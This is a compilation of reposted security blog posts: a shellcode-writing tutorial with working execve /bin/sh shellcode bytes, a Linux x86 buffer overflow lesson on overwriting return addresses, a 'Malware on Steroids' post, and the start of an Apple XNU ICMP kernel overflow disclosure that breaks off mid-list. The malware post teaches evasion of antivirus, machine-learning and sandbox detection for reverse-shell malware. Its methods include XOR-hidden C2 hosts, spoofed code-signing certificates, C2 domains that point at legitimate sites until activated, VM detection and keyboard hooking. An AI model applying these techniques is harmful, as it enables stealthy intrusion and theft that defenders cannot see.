We can’t simply go ahead and paste the code of spawning a shell onto the buffer, because when the program is running it is loaded into the system memory and it communicates with the processor for carrying out the operations through syscalls which is understood by kernel who actually communicates with the processor to get things done(well this is a simplified statement, the actual process is too complex). Now the processor doesn’t understand C,C++, JAVA, Python, etc. it only understands the machine code which it can directly execute. And We, human beings can’t understand machine code so we write programs in high level languages. Also, machine code is mostly regarded as the lowest level representation of compiled code. Another main reason we use machine code is because of the size. The space available in the stack for operations are very limited and machines codes are really compact in that sense.

SHELLCODE

So till now it is pretty clear that the code or payload used to exploit the buffer overflow vulnerability to execute arbitrary commands is called Shellcode. Its name is derived from the fact that it was initially used to spawn a root shell. Shellcode is basically a set of machine code or set of instructions injected into the buffer of the vulnerable program. The vulnerable program then executes the shellcode.

Shellcodes are machine codes. Basically, we write a set of instructions in a high level language or assembly language then convert into hexadecimal values (these values are just a bunch of opcodes and operands understood by the processor).

We cannot run shellcode directly, instead it needs a some sort of carrier (buffer, file, process, environment variables, etc) which will be read or executed by the vulnerable software. There are many shellcode execution strategies which are used depending on the exploitability and constraints of the vulnerable software.

Shellcodes are written mainly to force the program to do actions on the behalf of the attacker. The attacker can write a specific function which will do the intended action once loaded into the same address space of the vulnerable software. Every action (well almost) in an operating system is done by calling a syscall or system calls. The shellcode will also contain a syscall for a specific action which the attacker needs to perform. Syscalls are the most important thing in the shellcode as you can force the program to perform action just by triggering a syscall.

SYSCALLS

According to wikipedia, “In computing, a system call is the programmatic way in which a computer program requests a service from the kernel of the operating system it is executed on. ”

Linux’s security mechanism (the ring model) is divided into two spaces : User Space and Kernel space. Eevery process running in the userspace has its own virtual address space and cannot access any other processes address space until explicitly allowed. When the process in the userspace wants to access the kernel space to execute some operations, it cannot directly access it. No processes in the userspace can access the kernel space.

When an userspace process tries to access the kernel, an exception is raised and prevents the process from accessing the kernel space. The userspace processes uses the syscalls to communicate with the kernel processes to carry out the operations.

Syscalls are a bunch of functions which gives a userland process direct access to the kernel space to carryout low level functions. In simpler words, Syscalls are an interface between user mode and kernel mode.

In Linux, syscalls are generated using the software interrupt instruction, int 0x80. So, when a process in the user mode executes the int 0x80 instruction, the flow is transferred from the user mode to kernel mode by the CPU and the syscall is executed. Other than syscalls, there are standard library functions like the libc (which is extensively used in the linux OS). These standard library functions also call the syscall in some way or another (not everytime though). But we wont look into that as we are not going to use library functions in our shellcode. Also, using syscall is much nicer because there is no linking involved with any library as needed in other programming languages.

Note: The software interrupt int 0x80 was proving to be slower on the Pentium processors, so Linus introduced two new alternative namely SYSENTER/SYSEXIT instructions which were provided by all Pentium II+ processors. We will use the int 0x80 instruction in our shellcode however.

HOW TO USE SYSCALLS

When a process is in the userspace and the syscall instruction is executed, the interrupt handler i.e the software interrupt int 0x80 tells the CPU to change the execution from user mode to kernel mode. Now the system call handler is notified to call the routine which the userland process wanted. All the syscalls are stored in a syscall table, it is a big array which points to the memory address of the syscall routines. When the syscall is called, the syscall number is loaded into EAX register, this is how the system call handler comes to know which system call routine to execute. Keep in mind that the execution done here is carried out on the Kernel space stack and after the execution the control is given back to the userspace process and the remaining operation is carried out on userspace stack.

Here is the list of all the syscalls (x86):- http://syscalls.kernelgrok.com/

Each syscall is assigned a syscall number (an integer value) for basic naming convention. Every syscall has arguments which are necessary to execute the related operations. The syscall number is stored in the EAX register and the arguments are stored in the EBX , ECX , EDX , ESI and EDI respectively.

All the linux syscalls are well documented with instructions of how to implement them in your program. Usually we can use the syscall in normal C program or we can go ahead and do the same in an assembly language. Since we are writing our own shellcode, we have to dip our hands in the world of assembly language.

So what we will do is, write a C program with the syscall, disassemble the program, see the assembly instructions, write the assembly equivalent, make the necessary changes and extract the shellcode. Now we could have done this in assembly language directly but for getting the whole idea of how a program works from the high level to low level I am choosing this path.

Basic Assembly knowledge is needed for this, if you are new to Assembly then you can read the Assembly and Shellcoding blog series by my friend SLAER.

SPAWNING A SHELL

Lets write a shellcode for spawning a shell. We will use execve syscall for this operation.

First, lets take a look at the man page for execve..

The whole function looks like this:-

Here, filename is the command or program which we want to execute, in our case “/bin/sh”. Argv is an array of the argument string passed to the new program and it should contain the filename in its first index. Envp array can be NULL. Also the argvand envp array must end with a NULL.

We will initiate a char array spawnshell[2], with spawnshell[0]= “/bin/sh” and the next index being NULL i.e spawnshell[1]=NULL. We declared the last index as NULL because argv must end with a NULL byte.

So, execve will look like:

The C code for spawning a shell :

Compiling the program:

(We used static flag while compiling to prevent the dynamic linking as we want to disassemble the execve function.)

Running the executable we get a shell.

Lets disassemble the main function in our favorite GDB:

Here, the execve is called from the libc library, because we wrote a C program and used stdlib. Before calling the execve() function, the arguments required by it are stored on the stack. We will see the important instructions in detail:

sub $0x14, %esp -> Subtracting 14 from ESP, this is how the space is allocated on the stack.

1) movl $0x80bb868,-0x14(%ebp) -> Moving the memory address 0x80bb868 which contains “/bin/sh” on the stack. (You can see the value by using the command x/1s 0x80bb868 in GDB)

2) movl $0x0,-0x10(%ebp) -> Moving 0 on the stack at -0x10(%ebp), means the NULL byte after the “/bin/sh”.

3) mov -0x14(%ebp),%eax -> EAX now has the “/bin/sh”.

4) push $0x0 -> 0 is pushed onto the stack.

5) lea -0x14(%ebp),%edx -> The effective address of -0x14(%ebp) is loaded into EDX i.e EDX is pointing to the pointer of “/bin/sh”.

6) push %edx -> Pushing the value of EDX on the stack.

7) push %eax -> Pushing the value of EAX on the stack.

8)call 0x806c990 <execve> -> calling the function execve.

So what does this mean? Every numbered points are explained below in the same manner:-

1) filename = “/bin/sh”

2) filename = “/bin/sh” followed by NULL

3) argv[0]= “/bin/sh”

4) 0 is pushed for the envp

5) pointing to the pointer of “/bin/sh” i.e argv

6) EDX=argv

7) EAX= filename

8) execve function is called

Now the execve function according to the arguments pushed onto the stack will look like:-

execve(EAX, EDX,0)

So, now we know what to do with the assembly instructions. Lets write an assembly program for execve syscall.

Lets look at the execve syscall w.r.t assembly instructions:

Assembly program:-

Assemble this program:

Link this program:

Running the program we can see we get a shell.

Now, we want to extract the opcodes from the executable to form our shellcode. We will use objdump utility to display the object file.

Here, we can see in the right side, the assembly instructions that we wrote and in the left side opcodes for those instructions. Now we just have to copy these opcodes and execute it from C program which will act as a carrier for our shellcode.

Our Shellcode now is:

“\xc7\x05\xa8\x90\x04\x08\xa0\x90\x04\x08\xb8\x0b\x00\x00\x00\xbb\xa0\x90\x04\x08\xb9\xa8\x90\x04\x08\xba\xac\x90\x04\x08\xcd\x80\xb8\x01\x00\x00\x00\xbb\x0a\x00\x00\x00\xcd\x80”

As we already know we cannot execute shellcode directly, we will be needing a program to execute it for us. Shellcode is always loaded into the virtual address space of the target process which we want to exploit. Shellcode cant have its own process space as it cant be executed directly and it doesn’t makes sense to load the shellcode in any other address space other than the vulnerable software.

Just for demonstration we will load the shellcode in the address space of our own program and see whether it gets executed or not.

We will write a small C program which will execute our shellcode:

So, whats the program doing?

First, we are defining a char array shellcode with our actual shellcode in it. Then, in the main() function we are defining a variable ret which is an int pointer.

Then we are making the ret variable point to an address which is 8 bytes (2 int value)from its own address.

Remember this will happen on the stack, and the addresses on the stack moves from higher order memory to the lower order memory. So, by adding 8 bytes to the address of ret variable we are actually making it points towards the main()function.

Then we are assigning the address of our shellcode array to the address of the retvariable which is pointing to the address of main. So before the program ends it will execute our shellcode.

Lets compile the program:

Running the program we get Segmentation fault (core dumped)

So, we can see that our shellcode didn’t work. Lets take a look at what is wrong with our shellcode.

We can see there are a bunch of NULL bytes in the opcodes i.e ‘00’. Now one important thing, mostly the shellcode is loaded into the user input buffer and mostly it will be a char buffer or string buffer. If a NULL value occurs in the string, it terminates the string right there and doesn’t accept anything after the NULL termination. So our shellcode containing NULL values wont work. So we have to find a way to eliminate the NULL values.

Also, we are using hardcoded addresses in our shellcode. As we can see the mov instructions, all those addresses are machine specific hardcoded addresses. It is highly likely that it might not work in different versions of linux. So we have to deal with that also. One thing we can do is somehow load the starting address of our shellcode in the memory and using that reference we can make the necessary operations relative to this address. Now this is called as relative addressing. We will see this later in more detail.

Now the important part is to modify the assembly code with the two requirements mentioned above, getting rid of the NULL values and implementing relative addressing for avoiding hardcoded addresses .

REFINING THE SHELLCODE

So lets start…

From the above assembly program we know what instructions are needed to create our shellcode. In the above program we defined an ASCII string with “/bin/sh” and assigned the address of the string to another variable which will act as the pointer. But in the shellcode we will get the memory address of that variable and it will not work around different linux machines as the address may differ.

So in the manpages of the execve syscall it is clearly stated that, “The argv and envp arrays must each include a null pointer at the end of the array.” In our case envparray is already NULL, but the filename i.e the first index of argv pointer should also end with a NULL value. In the above assembly program we were defining separate variables for each argument of the syscall, but now we cant do that.

The execve syscall has three char pointer arguments. For the first argument we will have “/bin/shA”. We are appending A because we directly cant add a NULL value as it will hamper our shellcode, instead we will assign the index of A, a null value from the register. For the next char argument we will append four B’s as char is 4 bytes. Now the second argument is a pointer to the start of the address of the filename. Here we will assign the index of the starting B with the address of the starting memory address of filename. The third argument is the envp array which is a NULL pointer and we will append it with four C’s and then we will assign the index of the first C with a null value.

The representation of execve syscall arguments w.r.t registers will be like:

int execve(EBX, ECX, EDX); and the execve syscall number 11 will be loaded in the EAX register.

Below is the representation of the string which we will load along with the index in hex.

Lets take a look into the final assembly program for our shellcode.

Refined assembly program for Shellcode:

Now I will explain in detail what we have done.

-> We are starting our shellcode with a jmp instruction. jmp instruction will make an unconditional jump to the specified memory location. It will skip the actual shellcode and directly jump to the ShellcodeCall memory address.

-> In there the call instruction is executed which will directly point our Shellcode. Now what happens here is the most important thing. When the call instruction is executed the next instruction or memory address which contains the string “/bin/shABBBBCCCC” is pushed onto the top of the stack as the ret address. This is how we implement relative addressing.

->Now the pop instruction is executed. So the pop instruction will load the retaddress which has the string in the ESI register. The ESI register has the memory location which points to “/bin/shABBBBCCCC”. ESI register will be the reference point for all the operation which we will perform so the issue of hardcoded addresses will be resolved.

->Next we are XORing the EAX register to avoid the NULL bytes. We are basically resetting the EAX register without assigning a NULL value.

->Then we are loading the value 0 from the AL register (As we all know the ALregister is the lower part of the EAX address which is already 0 after the XORing) to the 7th index of the ESI register which will replace the A in our string with a null value.

-> Then we are loading the value of ESI i.e the start address of our string into the 8th index of ESI register replacing the B’s in our string.

->Then we are loading 0 from the AL register into the 12th index of our ESI register i.e replacing the C’s with 0’s.

-> Then we are loading the arguments of execve into the EBXECX and EDXregisters.

->Then we are loading the execve syscall number 11 into AL register again avoiding the NULL bytes because the higher part of the EAX register holds 0.

-> Lastly we make a software interrupt which will execute the syscall.

Now lets take a look at the opcodes after assembling and linking the assembly program.

As we can see there are no null bytes and the hardcoded addresses are also solved.

Now lets copy our shellcode into the C program which we wrote earlier to check whether our shellcode executes or not.

Lets run the compiled C program binary and see if it works.

VOILA !!!

We successfully spawned a shell with our own shellcode.

This was a very basic example of writing a working shellcode. Now there are many situations where you want take a reverse shell over the network and you have to write a shellcode for that. That would be a really challenging task to write a shellcode of that manner. This blog post only introduced what a shellcode looks like and how much pain you have to take to write a simple working shellcode.

In the next part, we will exploit a vulnerable binary and execute shellcode on that.

If you have any doubts or opinions, kindly express yourselves in the comment section. Thanks !!!

Linux Buffer Overflows x86 Part 2 ( Overwriting and manipulating the RETURN address)

( Original text by SubZero0x9 )

Hello Friends, this is the 2nd part of the Linux x86 Buffer Overflows. First of all I want to apologize for such a long delay after the First blog of this series, there were personal and professional issues going on in my life (Well who hasn’t got them? Meh?).

In the previous part we learned about the Process Memory, Stack Region, Stack Operations, Stack Registers, Attempting Buffer Overflow, Overwriting Buffer, ESP and EIP. In case you missed it, here is the link to the Part 1:

https://movaxbx.ru/2018/11/06/getting-started-with-linux-buffer-overflows-x86-part-1-introduction/

Quick Recap to the Part 1:

-> We successfully exploited the insufficient bound checking by giving input which was larger than the buffer size, which led to the overflow.

-> We successfully attempted to overwrite the buffer and the EIP (Instruction Pointer).

-> We used GDB debugger to examine the buffer for our input and where it was placed on the stack.

Till now, we already know how to attempt a buffer overflow on a vulnerable binary. We already have the control of EIP and ESP.

So, Whats Next ?

Till now we have only overwritten the buffer. We haven’t really exploit anything yet. You may have read articles or PoC where Buffer Overflow is used to escalate privileges or it is used to get a reverse shell over the network from a vulnerable HTTP Server. Buffer Overflow is mainly used to execute arbitrary commands on the vulnerable system.

So, we will try to execute arbitrary commands by using this exploit technique.

In this blog, we will mainly focus on how to overwrite the return address to manipulate the flow of control and program execution.

Lets see this in more detail….

We will use a simple program to manipulate its intended output by changing the RETURN address.

(The following example is same as the AlephOne’s famous article on Stack Smashing with some modifications for a better and easy understanding)

Program:

 

This is a very simple program where the variable random is assigned a value ‘0’, then a function named function is called, the flow is transferred to the function()and it returns to the main() after executing its instructions. Then the variable random is assigned a value ‘1’ and then the current value of random is printed on the screen.

Simple program, we already know its output i.e 1.

But, what if we want to skip the instruction random=1; ?

That means, when the function() call returns to the main(), it will not perform the assignment of value ‘1’ to random and directly print the value of random as ‘0’.

So how can we achieve this?

Lets fire up GDB and see how the stack looks like for this program.

(I won’t be explaining each and every instruction, I have already done this in the previous blog. I will only go through the instructions which are important to us. For better understanding of how the stack is setup, refer to the previous blog.)

In GDB, first we disassemble the main function and look where the flow of the program is returned to main() after the function() call is over and also the address where the assignment of value ‘1’ to random takes place.

-> At the address 0x08048430, we can see the value ‘0’ is assigned to random.

-> Then at the address 0x08048437 the function() is called and the flow is redirected to the actual place where the function() resides in memory at 0x804840b address.

-> After the execution of function() is complete, it returns the flow to the main()and the next instruction which gets executed is the assignment of value ‘1’ to random which is at address 0x0804843c.

->If we want to skip past the instruction random=1; then we have to redirect the flow of program from 0x08048437 to 0x08048443. i.e after the completion of function() the EIP should point to 0x08048443 instead of 0x0804843c.

To achieve this, we will make some slight modifications to the function(), so that the return address should point to the instruction which directly prints the randomvariable as ‘0’.

Lets take a look at the execution of the function() and see where the EIP points.

-> As of now there is only a char array of 5 bytes inside the function(). So, nothing important is going on in this function call.

-> We set a breakpoint at function() and step through each instruction to see what the EIP points after the function() is exectued completely.

-> Through the command info regsiters eip we can see the EIP is pointing to the address 0x0804843c which is nothing but the instruction random=1;

Lets make this happen!!!

From the previous blog, we came to know about the stack layout. We can see how the top of the stack is aligned, 8 bytes for the buffer, 4 bytes for the EBP, 4 bytes for the RET address and so on (If there is a value passed as parameter in a function then it gets pushed first onto the stack when the function is called).

-> When the function() is called, first the RET address gets pushed onto the stack so the program flow can be maintained after the execution of function().

->Then the EBP gets pushed onto the stack, so the EBP can act as the offset reference point for other instructions to access and calculate the memory addresses.

-> We have char array buffer of 5 bytes, but the memory is allocated in terms of WORD. Basically 1 word=4 bytes. Even if you declare a variable or array of 2 bytes it will be allocated as 4 bytes or 1 word. So, here 5 bytes=2 words i.e 8 bytes.

-> So, in our case when inside the function(), the stack will probably be setup as buffer + EBP + RET

-> Now we know that after 12 bytes, the flow of the program will return to main()and the instruction random = 1; will be executed. We want to skip past this instruction by manipulating the RET address to somehow point to the address after 0x0804843c.

->We will now try to manipulate the RET address by doing something like below :-

 

Here, we are introducing an int pointer ret, and we are assigning it the starting address of buffer + 12 .i.e (wait lets see this in a diagram)

-> So, the ret pointer now ends exactly at the start where the return value is actually stored. Now, we just want to add ret pointer with some value which will change the return value in such a manner that it will skip past the return = 1;instruction.

Lets just go back to the disassembled main function and calculate how much we have to add to the ret pointer to actually skip past the assignment instruction.

-> So, we already know we want to skip pass the instruction at address 0x0804843c to address 0x08048443. By subtracting these two address we get 7. So we will add 7 to the return address so that it will point to the instruction at address 0x08048443.

-> And now we will add 7 to the ret pointer.

 

So our final code should look like:

 

So, now we will compile our code.

 

Since we are adding code and re-compiling the program, the memory addresses will get changed.

Lets take a look at the new memory addresses.

-> Now the assignment instruction random = 1; is at address 0x08048452 and the next address which we want the return address to point is 0x08048459. The difference between these addresses is still 7. So we are good till now.

Hopefully by executing this we will get the output as “The value of random is: 0”

HOLY HELL!!!

Why did it gave the Segmentation fault (core dumped)? That means maybe the process is trying to access a memory that doesn’t exist or something.

Note:- Well this was really tricky for me atleast. Computers works in mysterious ways, it is not just mathematics, numbers and science ( Yeah I am being dramatic)

Lets fire up our binary in GDB and see whats wrong.

-> As you can see we set a breakpoint at line 4 and run the program. The breakpoint hits and the program halts. Then we examine the stack top and what we see, the distance between the start of the buffer and the start of return address is not 12, its 13. (It doesn’t even make sense mathematically). Three full block adds up for 12 bytes (4 bytes each) and 1 byte for that ‘A’ i.e 41.

-> Our buffer had value “ABCDE” in it. And A in ASCII hex is 41. From 41 to just right before of the return address 0x08048452, the count is 13 which traditionally is not correct. I still don’t know why the difference is 13 instead of 12, if anyone knows kindly tell me in the comments section.

-> So we just change our code from ret = buffer + 12; to ret = buffer + 13;

Now the final code will look like this:

 

Now, we re-compile it and run and hope its now going to give a desired output.

Before continuing lets see this again in GDB:

> So, we can see now after 7 is added to the ret pointer, the return address is now 0x08048459 which means we have successfully skipped past the assignment instruction and overwritten the return address to manipulate our way around the program flow to alter the program execution.

Till now we learnt a very important part of buffer overflow i.e how to manipulate and overwrite the return address to alter the program execution flow.

Now, lets another example where we can overwrite the return address in more similar ‘buffer overflow’ fashion.

We will use the program from protostar buffer overflow series. You can find more about it here: https://exploit-exercises.com/protostar/

 

Small overview of a program:-

->There is a function win() which has some message saying “code flow successfully changed”. So we assume this is the goal.
-> Then there is the main(), int pointer fp is declared and defined to ‘0’ along with char array buffer with size 64. The program asks for user input using the getsfunction and the input is stored in the array buffer.
-> Then there is an if statement where if fp is not equal to zero then it calls the function pointer jumping to some memory location.

Now we already know that gets function is vulnerable to buffer overflow (visit previous blog) and we have to execute the win() function. So by not wasting time lets find out the where the overflow happens.

First we will compile the code:

 

We know that the char array buffer is of 64 bytes. So lets feed input accordingly.

So, as we can see after the 64th byte the overflow occurs and the 65th ‘A’ i.e 41 in ASCII Hex is overwriting the EIP.

Lets confirm this in GDB:

-> As we see the buffer gets overflowed and the EIP is overwritten with ‘A’ i.e 41.

Now lets find the address of the win() function. We can find this with GDB or by objdump.

Objdump is a tool which is used to display information about object files. It comes with almost every Linux distribution.

The -d switch stands for disassemble. When we use this, every function used in a binary is listed, but we just wanted the address of win() function so we just used grep to find our required string in the output.

So it tells us that the win() function’s starting address is 0804846b. To achieve our goal we just have to pass this address after the 64th byte so that the EIP will get overwritten by this address and execute the win() function for us.

But since our machine is little endian (Find more about it here)we have to pass the address in a slightly different manner (basically in reverse). So the address 0804846b will become \x6b\x84\x04\x08 where the \x stands for HEX value.

Now lets just form our input:

As we can see the win() function is successfully executed. The EIP is also pointing the address of win().

Hence, we have successfully overwritten the return address and exploited the buffer overflow vulnerability.

Thats all for this blog. I am sorry but this blog also went quite long, but I will try to keep the next blog much shorter. And also, in the next blog we will try to play with shellcode.

 

 

Malware on Steroids Part 3: Machine Learning & Sandbox Evasion

 

( Original text by Paranoid Ninja )

It’s been a busy month for me and I was not able to save time to write the final part of the series on Malware Development. But I am receiving too many DMs on Twitter accounts lately to publish the final part. So here we are.

If you are reading this blog, I am basically assuming that you know C/C++ and Windows API by now. If you don’t, then you should go back and read my other blogs on Static AV Evasion and Malware Development using WINAPI (basics).

In this post, we will be using multiple ways to evade endpoint detection mechanisms and sandboxes. Machine Learning is applied at two major levels in most organization. One is at the network level where it tries to identify anomalies based on the behavior of network connections, proxy logs and pattern of connections over time. Most Network ML Solutions tend to analyze beacons of malwares and DPI (deep packet inspection) to identify the malware. This is something that Microsoft ATA (Advanced Threat Analytics), or FireEye sandboxes do. On the other hand, we have Endpoint agents like Symantec EP, Crowdstrike, Endgame, Microsoft Cloud Defender and similar monitoring tools which perform behavioral analysis of the code along with signature detection to detect malicious processes.

I will purely be focusing on multiple ways where we can make our malware behave like a legitimate executable or try to confuse the Endpoint agent to evade detection. I’ve used the methods mentioned in this blog to successfully evade Crowdstrike Agent, Symantec EP and Microsoft Windows Cloud Defender, the videos of the latter which I have already posted in my previous blogs. However, you might need to modify or add new techniques as this might become detectable over time. One of the best ways to avoid AV is to disable the Process creation altogether and just use WINAPI. But that would mean carefully crafting your payloads and it would be difficult to port them for shellcoding. That’s the main reason malware authors write their malwares in C, and only selected payloads in shellcode. A combination of these two makes malwares unbeatable on all fronts.

Each of the techniques mentioned below creates a unique signature which most AVs won’t have. It’s more of a trail and error to check which AVs detect which techniques. Also remember that we can use stubs and packers for encryption, but that’s for a different blog post that I will do later.

P.S.: This blog is exclusive of shellcodes, reason being I will be writing a separate blog series on windows Shellcoding later. I will be using encrypted functions during the shellcoding part and not in this post. This post is specifically how Malware authors use C to perform evasions. You can also use the same APIs and code snippets mentioned below to craft a custom malware for Red Teaming.

main():

So, before we start let’s try to get a based understanding of how Machine learning works. Machine learning is purely focused on the behaviour of the user (in case of endpoints). In short, if we sign our malware and try to make it act like a legitimate executable, it becomes really easy to evade ML. I’ve seen people using PowerShell to write reverse shells, but they get easy detectable due to Microsoft’s AMSI (Anti-Malware Scan Interface) which consistently keeps on checking (including and mainly PowerShell) to detect malicious process executions and connections.  For those of you who don’t know, Microsoft uses DMTK(Microsoft Distributed Machine Learning Toolkit) framework which is basically a decision tree based algorithm which specifies whether a file is malicious or not. PowerShell is very tightly controlled by Microsoft and it gets harder over time to evade ML when using PowerShell.

This is the reason I decided to switch to C and C++ to get reverse shells over network so that I could have flexibility at a lower level to do whatever I want. We will be using a lot of windows APIs, encrypted variables and a lot of decision tree of our own to evade ML. This it supposed to work till Microsoft doesn’t start using CNTK framework which is a much better framework than DMTK, but harder to apply at the same time.

Encrypted Host & Process Names

So, the first thing to do is to encrypt our hostname. We can possibly use something as simple as XOR, or any custom complicated mathematical equation to decrypt our encrypted variable to get the hostname. I created a python script which takes a hostname and a character and returns a Xor’d Array:

As you can see, it gives the Key value in integer of the Xor Key, the length of the encrypted array and the whole Encrypted array which we can simply use in a C integer or char array.

The next step is to decrypt this array at runtime and we need to hardcode the key inside the executable. This is the only key that we would be hardcoding into the code. Also, to make it complicated for the reverse engineer, we will write a C function to automatically detect that the last integer is the key and use that to loop through the array to decrypt the encrypted string. Below is how it would look like

So, we are creating a char buffer of the size of EncryptedHost on heap. We are then passing the host, length and decrypted host variable to the Decrypter function. Below is how the Decrypter function looks:

To explain in short, it creates an Encrypted Integer array of our char array  and xors them back again using the key to convert the encrypted value to the original value and stores them in the DecryptedData array we created previously. With the help of this, if someone runs strings, they wouldn’t be able to see any host in the executable. They would need to understand the math and set a proper breakpoint in Debugger to fetch the C2 host. You can create more complicated mathematical equations to decrypt host if required. We can now use this DecryptedData array within our sockets to connect to the remote host.

P.S.: Reverse Engineers & Sandboxes can fetch the C2 names with the help of packet captures and DNS Name Resolutions. It is better to send raw packets to multiple hosts to confuse which one is the real C2 server. But at the same time, this can lead to easy  detection of the malware. Check my Legitimate Domain Routing technique below which is much better than using this.

If you’ve read my previous post, then you know that I created a cmd.exe process using the CreateProcessW winAPI. We can do what we did above for Creating Processes as well. But instead of hardcoding the Encrypted array for the Process to be executed, we will send the process name as an array over network once the executable connects to the C2 Server along with the host. We can also use authentication on C2 server, and only allow it to connect if it sends a proper key. Below is the Code for Creating Processes using Encrypted Char array over sockets

In this way, when a system sandboxes our executable, it won’t know that what process are we executing beforehand inside a sandbox. Below is a much clearer description of what we are doing:

  1. Decrypt C2 host at runtime and connect to host
  2. Receive password and verify if it is right
  3. If the key is right, wait for 5 seconds to receive encrypted array(process name) over socket
  4. Decrypt the received Process and run it using CreateProcessW API

With the help of the above technique, if our C2 is down, then the sandbox/analyst will not be able to find what we are executing since we have not hardcoded any processes to execute.

Code Signing with Spoofed Certs

I wrote a Script in python which can fetch and create duplicate certificates from any website which we can use for code signing. One thing I noticed is that Antiviruses don’t check and verify the whole chain of the certificate. They don’t even verify the authenticity. The main reason being not every antivirus can connect to internet in every organization to fetch and verify the ceritificates for every third party application installed. You can find the Certificate spoofing python script on my GitHub profile here.

And this is the scan results of Windows ML Defender after Signing:

Next thing is we will try to add a few features to our malware to detect if we are running in a sandbox or inside a virtual machine. We will try to evade Sandboxes as much as possible and kill our executable as soon as we find anything suspicious. We need to make sure that our malware doesn’t even look suspicious. Because if it does, then the sandbox will quarantine it and send an alert that there is a suspicious process running. This is worse than detection because this is where most SOC detects the malware and the Red Teaming gets detected.

Legitimate Domain Routing (Evade Proxy Categorization Detection and Endpoint Detection)

This is one of the best techniques I’ve found out till date which almost works every time. Let’s say I buy a C2 domain named abc.com. I will modify the A records so that it points to Microsoft.com or some similar legitimate site for a month or so. When the malware executes on the vicim’s system, it will connect to this domain which will send a normal HTTP reply from Microsoft and the malware will go to sleep for a few hours and then loop into doing the same thing. Now whenever I want to get a reverse shell of my malware, I will simply change the A records of abc.com to my C2 hosting server and it will send a key in HTTP to the malware which will trigger it to fetch shellcode or send a shell back to my C2. This way, our abc.com will also get categorized as a legitimate domain instead of malicious or phishing site. And even the Endpoint systems will not block it since it is contacting a legitimate domain. Over time I’ve also used Symantec’s website to connect as a temporary domain, later changing it to my malicious C2 server.

Check System Uptime & Idletime (Evades Virtual Machine Sandboxes)

If our executable is running in a virtual machine, the uptime will be pretty short since it will boot up, perform analysis on our binary and then shutdown. So, we can check the uptime of the machine and sleep till it reaches 20-30 minutes and then run it. Make sure to use NTP to check the time with external domain, else Sandboxes can fast-forward system time for process executions. Checking via NTP will make sure that correct time is checked. Below is the code to check uptime of a system and also idle time in case required.

Idletime:

Uptime:

Check Mac Address of Virtual Machine (Known OUIs)

Vmware, Virtual box, MS Hyper-v and a lot of virtual machine providers use a fixed MAC Unique identifier which can be used to run in a loop to check if current mac address matches to any of those mentioned in the list. If it is, then it is highly possible that the malware is running in a virtual environment, mostly for the purpose of sandboxing and reverse engineering. Below are the OUIs that I know for the moment. If there are more, do let me know in the comments.

Company and Products MAC unique identifier (s)
VMware ESX 3, Server, Workstation, Player 00-50-56, 00-0C-29, 00-05-69
Microsoft Hyper-V, Virtual Server, Virtual PC 00-03-FF
Parallels Desktop, Workstation, Server, Virtuozzo 00-1C-42
Virtual Iron 4 00-0F-4B
Red Hat Xen 00-16-3E
Oracle VM 00-16-3E
XenSource 00-16-3E
Novell Xen 00-16-3E
Sun xVM VirtualBox 08-00-27

Below is the C code to detect mac address of a Windows machine:

Execute shellcode when a specific key is pressed. (Sleep & hook method)

Here, we are only executing our shellcode/malicious process when the user presses a specific key. For this, we can hook the keyboard and create a list of multiple keys that specify what kind of shellcode needs to be executed. This is basically polymorphism. Every time a different shellcode depending on the key will confuse the Antivirus, and secondly in a sandbox, no one presses any key. So, our malware won’t execute in a sandbox. Below is the Code to hook the keyboard and check the key pressed.

P.S.: Below code can also be used for Keylogging 😉

Check number of files in Temp and Recent Files

Whenever a malware is running in a sandbox, the sandbox will have the minimum number of recent files in the virtual machine reason being sandboxes are not used for usual work. So, we can run a loop to check the number of recent files and also files in temp directory to check if we are running in a virtual machine. If the number of recent files are less than 10-15, just sleep or suspend itself. Below is a code I wrote which loops to check all files and folders in a directory:

Now I can keep on going like this, but the blog will just get lengthier with this. Besides, below are a few things you can code to check if we are running in a sandbox:

  1. Check if the hard disk size is greater than 60 GB (Default Virtual Machine Sandbox Size is <100GB)
  2. Check if Packet Capture Driver is installed in the registry (To check if Wireshark or similar is running for packet analysis)
  3. Check if Virtual Box additions/extension pack is installed
  4. WannaCry DNS Sinkhole Method

This is another method which WannaCry used. So basically, the malware will try to connect to a domain that doesn’t exist. If it does, it means the malware is running in a sandbox, since Sandboxes will reply to a NX Domain too to check if that’s a C2 Server. If we get a NX domain in reply, then we can directly connect to the C2 host. BEWARE, that DNS Sinkholes can prevent your malware from executing at all. Instead you can buy a certain domain and check for a customized response to check if you are running in a sandbox environment.

Now, there are much more different ways to evade ML and AV detection and they aren’t really that hard. Evading ML based AVs are not rocket science as people say. It’s just that it requires more of free time to sit and understand how the underlying architecture works and find flaws to evade it.

It’s much better to invest in a highly technical Threat Hunter for detecting suspicious behaviors in your environment’s and logs rather than buying a high-end Sandbox or Antivirus Solution, though the latter is also useful in it’s own sense too.

 

Kernel RCE caused by buffer overflow in Apple’s ICMP packet-handling code (CVE-2018-4407)

( Original text )

This post is about a heap buffer overflow vulnerability which I found in Apple’s XNU operating system kernel. I have written a proof-of-concept exploit which can reboot any Mac or iOS device on the same network, without any user interaction. Apple have classified this vulnerability as a remote code execution vulnerability in the kernel, because it may be possible to exploit the buffer overflow to execute arbitrary code in the kernel.

The following operating system versions and devices are vulnerable:

  • Apple iOS 11 and earlier: all devices (upgrade to iOS 12)
  • Apple macOS High Sierra, up to and including 10.13.6: all devices (patched in security update 2018-001)
  • Apple macOS Sierra, up to and including 10.12.6: all devices (patched in security update 2018-005)
  • Apple OS X El Capitan and earlier: all devices

I reported the vulnerability in time for Apple to patch the vulnerability for iOS 12 (released on September 17) and macOS Mojave (released on September 24). Both patches were announced retrospectively on October 30.

Severity and Mitigation

The vulnerability is a heap buffer overflow in the networking code in the XNU operating system kernel. XNU is used by both iOS and macOS, which is why iPhones, iPads, and Macbooks are all affected. To trigger the vulnerability, an attacker merely needs to send a malicious IP packet to the IP address of the target device. No user interaction is required. The attacker only needs to be connected to the same network as the target device. For example, if you are using the free WiFi in a coffee shop then an attacker can join the same WiFi network and send a malicious packet to your device. (If an attacker is on the same network as you, it is easy for them to discover your device’s IP address using nmap.) To make matters worse, the vulnerability is in such a fundamental part of the networking code that anti-virus software will not protect you: I tested the vulnerability on a Mac running McAfee® Endpoint Security for Mac and it made no difference. It also doesn’t matter what software you are running on the device — the malicious packet will still trigger the vulnerability even if you don’t have any ports open.

Since an attacker can control the size and content of the heap buffer overflow, it may be possible for them to exploit this vulnerability to gain remote code execution on your device. I have not attempted to write an exploit which is capable of doing this. My exploit PoC just overwrites the heap with garbage, which causes an immediate kernel crash and device reboot.

I am only aware of two mitigations against this vulnerability:

